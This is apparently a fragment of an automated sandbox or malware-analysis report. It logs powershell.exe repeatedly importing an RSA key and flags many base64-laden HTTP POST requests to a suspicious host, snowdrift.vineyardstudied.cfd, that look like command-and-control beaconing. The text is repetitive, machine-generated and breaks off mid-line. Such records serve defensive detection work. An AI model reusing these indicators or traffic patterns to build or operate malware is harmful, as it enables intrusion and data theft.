"148" "dwFlags": "0" "phKey": "p\\"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f051e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "004ee4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b05ae4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4ab0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "0055e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4ab0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f051e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a3db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "905be4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a3db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "1058e4f3d1010000"}2d:T1146e,Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 71User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 71User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 71User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 71User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 71User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 71User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "htFY" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "otkZ" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "BGlLdnuF" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "rZFQ" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Hf88" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 268User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "2346User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2346User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "2370User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: 